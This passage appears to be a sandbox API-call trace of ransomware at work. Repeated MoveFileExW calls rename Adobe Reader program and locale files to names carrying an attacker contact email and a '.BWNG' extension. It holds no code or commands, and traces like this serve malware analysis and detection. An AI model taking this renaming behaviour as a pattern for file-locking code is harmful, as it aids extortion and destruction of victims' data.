10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].Aq1N8OhT-xxSlYq89.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].aq1n8oht-xxslyq89.bwng"), dwFlags=0x1) returned 1 [0091.431] GetTickCount () returned 0x115eaad [0091.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338352268) returned 1 [0091.431] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].tX0nhuUf-UtGrE8LO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].tx0nhuuf-utgre8lo.bwng"), dwFlags=0x1) returned 1 [0091.434] GetTickCount () returned 0x115eabd [0091.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338608059) returned 1 [0091.434] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\RdLang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\rdlang32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].VHNGFRVH-82Y30x6q.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].vhngfrvh-82y30x6q.bwng"), dwFlags=0x1) returned 1 [0091.435] GetTickCount () returned 0x115eabd [0091.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338755721) returned 1 [0091.435] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Weblink.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\weblink.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].q2Z4F6od-yU4ohL1S.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].q2z4f6od-yu4ohl1s.bwng"), dwFlags=0x1) returned 1 [0091.437] GetTickCount () returned 0x115eabd [0091.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338945636) returned 1 [0091.437] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].xG4ui3cw-DrwEt9IE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].xg4ui3cw-drwet9ie.bwng"), dwFlags=0x1) returned 1 [0091.439] GetTickCount () returned 0x115eabd [0091.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23339117210) returned 1 [0091.439] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Search.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\search.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].TY9aWYS7-f3NpqFJ5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].ty9awys7-f3npqfj5.bwng"), dwFlags=0x1) returned 1 [0091.440] GetTickCount () returned 0x115eabd [0091.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23339273832) returned 1 [0091.441] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Annots.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\annots.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].Z8J3yJ38-fPz1Crne.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].z8j3yj38-fpz1crne.bwng"), dwFlags=0x1) returned 1 [0091.446] GetTickCount () returned 0x115eabd [0091.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23339801212) returned 1 [0091.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PDDom.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\pddom.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].MYQ6Ew2n-4aAFCuPS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].myq6ew2n-4aafcups.bwng"), dwFlags=0x1) returned 1 [0091.447] GetTickCount () returned 0x115eabd [0091.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23339920856) returned 1 [0091.447] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Spelling.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\spelling.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].8XPvz0GZ-BiecnATT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].8xpvz0gz-biecnatt.bwng"), dwFlags=0x1) returned 1 [0091.449] GetTickCount () returned 0x115eacc [0091.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23340116120) returned 1 [0091.449] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].8PksR3JP-3EGRjFkj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].8pksr3jp-3egrjfkj.bwng"), dwFlags=0x1) returned 1 [0091.450] GetTickCount () returned 0x115eacc [0091.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23340438955) returned 1 [0091.452] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].geRPh7tw-GltTmPsn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].gerph7tw-glttmpsn.bwng"), dwFlags=0x1) returned 1 [0091.454] GetTickCount () returned 0x115eacc [0091.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23340610289) returned 1 [0091.454] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32info.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].CnYfMkbX-hZ8M7pTU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].cnyfmkbx-hz8m7ptu.bwng"), dwFlags=0x1) returned 1 [0091.455] GetTickCount () returned 0x115eacc [0091.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23340749052) returned 1 [0091.455] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].ruxNhD5u-qdOAUKoX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].ruxnhd5u-qdoaukox.bwng"), dwFlags=0x1) returned 1 [0091.457] GetTickCount () returned 0x115eacc [0091.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23340917203) returned 1 [0091.457] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].KeNrIJ1H-kPMtzmWE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].kenrij1h-kpmtzmwe.bwng"), dwFlags=0x1) returned 1 [0091.458] GetTickCount () returned 0x115eacc [0091.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23341050110) returned 1 [0091.458] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].NOE6yA8Z-BD93KoMv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].noe6ya8z-bd93komv.bwng"), dwFlags=0x1) returned 1 [0091.460] GetTickCount () returned 0x115eacc [0091.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23341178294) returned 1 [0091.460] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].5Qz6jf3q-WWQoHtGj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].5qz6jf3q-wwqohtgj.bwng"), dwFlags=0x1) returned 1 [0091.461] GetTickCount () returned 0x115eacc [0091.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23341361349) returned 1 [0091.462] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].a3tdjlB4-D8iTFeeO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].a3tdjlb4-d8itfeeo.bwng"), dwFlags=0x1) returned 1 [0091.463] GetTickCount () returned 0x115eacc [0091.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23341489563) returned 1 [0091.463] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].93huY9BA-nCe6pqUm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].93huy9ba-nce6pqum.bwng"), dwFlags=0x1) returned 1 [0091.633] GetTickCount () returned 0x115eb78 [0091.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23358507388) returned 1 [0091.633] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Reflow.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\reflow.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].EyusYUbu-jwSACMxk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].eyusyubu-jwsacmxk.bwng"), dwFlags=0x1) returned 1 [0091.634] GetTickCount () returned 0x115eb78 [0091.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23358655904) returned 1 [0091.635] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Acroform.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\acroform.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].81gTjFXM-4DFUROtI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].81gtjfxm-4dfuroti.bwng"), dwFlags=0x1) returned 1 [0091.636] GetTickCount () returned 0x115eb88 [0091.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23358834478) returned 1 [0091.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\makeaccessible.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\makeaccessible.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].vgkXpOYZ-gV1n6Wrg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].vgkxpoyz-gv1n6wrg.bwng"), dwFlags=0x1) returned 1 [0091.637] GetTickCount () returned 0x115eb88 [0091.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23358971678) returned 1 [0091.638] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\[billwong73@yahoo.com].89wEkxh0-vJaISVF2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\[billwong73@yahoo.com].89wekxh0-vjaisvf2.bwng"), dwFlags=0x1) returned 1 [0091.838] GetTickCount () returned 0x115ec52 [0091.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379025557) returned 1 [0091.838] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\[billwong73@yahoo.com].TNlwcufG-S3UgC9qX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\[billwong73@yahoo.com].tnlwcufg-s3ugc9qx.bwng"), dwFlags=0x1) returned 1 [0091.840] GetTickCount () returned 0x115ec52 [0091.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379186149) returned 1 [0091.840] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].wcidG09M-GUwH1D6e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].wcidg09m-guwh1d6e.bwng"), dwFlags=0x1) returned 1 [0091.841] GetTickCount () returned 0x115ec52 [0091.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379331608) returned 1 [0091.841] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Checkers.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\checkers.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].wmkp3b4m-OZS2Z4tt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].wmkp3b4m-ozs2z4tt.bwng"), dwFlags=0x1) returned 1 [0091.842] GetTickCount () returned 0x115ec52 [0091.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379475017) returned 1 [0091.843] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\[billwong73@yahoo.com].LcHBfSpV-cUdrPmVL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\[billwong73@yahoo.com].lchbfspv-cudrpmvl.bwng"), dwFlags=0x1) returned 1 [0091.844] GetTickCount () returned 0x115ec52 [0091.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379617020) returned 1 [0091.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].FhRN5u5S-HstHRKXk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].fhrn5u5s-hsthrkxk.bwng"), dwFlags=0x1) returned 1 [0091.845] GetTickCount () returned 0x115ec52 [0091.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379758707) returned 1 [0091.846] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].JyeWvop2-kZbguc3t.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].jyewvop2-kzbguc3t.bwng"), dwFlags=0x1) returned 1 [0091.847] GetTickCount () returned 0x115ec52 [0091.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23379908222) returned 1 [0091.847] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Checkers.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\checkers.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].8bKfFKfL-FIH2jwwy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].8bkffkfl-fih2jwwy.bwng"), dwFlags=0x1) returned 1 [0091.848] GetTickCount () returned 0x115ec52 [0091.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380030602) returned 1 [0091.848] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].V63F4mE4-YXUn27hq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].v63f4me4-yxun27hq.bwng"), dwFlags=0x1) returned 1 [0091.849] GetTickCount () returned 0x115ec52 [0091.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380152011) returned 1 [0091.849] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].IMg6v2An-9kalDAfQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].img6v2an-9kaldafq.bwng"), dwFlags=0x1) returned 1 [0091.850] GetTickCount () returned 0x115ec52 [0091.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380273019) returned 1 [0091.851] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].prcXLntL-uPE47etN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].prcxlntl-upe47etn.bwng"), dwFlags=0x1) returned 1 [0091.852] GetTickCount () returned 0x115ec52 [0091.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380402369) returned 1 [0091.852] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].8XFIupdA-8ABl0gc0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].8xfiupda-8abl0gc0.bwng"), dwFlags=0x1) returned 1 [0091.853] GetTickCount () returned 0x115ec62 [0091.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380551836) returned 1 [0091.853] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\RdLang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\rdlang32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].lYkUzYss-Hj7fJG7P.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].lykuzyss-hj7fjg7p.bwng"), dwFlags=0x1) returned 1 [0091.855] GetTickCount () returned 0x115ec62 [0091.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380695088) returned 1 [0091.855] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\RdLang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\rdlang32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].8pPT0xiB-Ky8WUGlz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].8ppt0xib-ky8wuglz.bwng"), dwFlags=0x1) returned 1 [0091.856] GetTickCount () returned 0x115ec62 [0091.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380816665) returned 1 [0091.856] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Weblink.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\weblink.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].OJM0fvN0-1hhCN1ni.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].ojm0fvn0-1hhcn1ni.bwng"), dwFlags=0x1) returned 1 [0091.857] GetTickCount () returned 0x115ec62 [0091.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23380942029) returned 1 [0091.857] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Weblink.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\weblink.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].r7dyqFKV-LHbOpxoa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].r7dyqfkv-lhbopxoa.bwng"), dwFlags=0x1) returned 1 [0091.858] GetTickCount () returned 0x115ec62 [0091.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23381059648) returned 1 [0091.859] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\EScript.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\escript.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].1PEN3DnD-ECL39YoI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].1pen3dnd-ecl39yoi.bwng"), dwFlags=0x1) returned 1 [0091.860] GetTickCount () returned 0x115ec62 [0091.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23381212886) returned 1 [0091.860] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" (normalized: 